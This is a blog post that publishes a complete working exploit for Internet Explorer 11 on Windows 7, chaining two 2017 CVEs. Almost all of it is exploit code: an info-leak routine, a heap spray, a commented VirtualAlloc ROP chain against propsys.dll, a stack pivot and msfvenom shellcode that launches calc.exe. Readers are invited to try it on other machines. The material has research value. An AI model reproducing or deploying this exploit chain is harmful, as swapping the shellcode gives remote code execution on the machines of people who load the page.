Internet Explorer 11
Following the last 2 blog posts for both CVE-2017-0037 and CVE-2017-0059 here’s a full working exploit for IE11 <= 11.0.37 for Windows 7 (32 and 64 bit). I tested it only on two (not too) different machines so please if you have the opportunity to try it on multiple environments let me know the results!
Credits
Ivan Fratric (@ifsecure): he found the two original bugs.
Peter Van Eeckhoutte (@corelanc0d3r): for the techniques and tip/tricks learned from his Advanced exploitation training which I highly recommend.
Also, a huge thank you to OJ (@TheColonial). He kindly accepted to port the exploit to Metasploit. Hopefully it’ll be ready soon :)
The exploit
The exploit is available on the following link
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var base_leaked_addr = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function readu(value) {
var uc = escape(value);
var ucsplit = uc.split('%');
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
return res;
}
function spray() {
// DEPS technique used here - avoid null bytes
var hso = document.createElement("div");
base_leaked_addr = parseInt(base_leaked_addr,16);
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape(
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffff) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x4e385) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2030f) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(0,0xf07645d5) +
writeu(base_leaked_addr,0x6e002) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0xaebc) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffbf) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x6361b) +
writeu(base_leaked_addr,0x432cf) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x5cef1) +
writeu(base_leaked_addr,0x4177e) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x1244) +
writeu(base_leaked_addr,0xa819) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2720b) +
"" );
/*
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
Library used "propsys.dll", part of the Windows Search functionality (?)
and last updated Nov 2010. I think it's a good target for our needs.
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
</form>
<script>
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>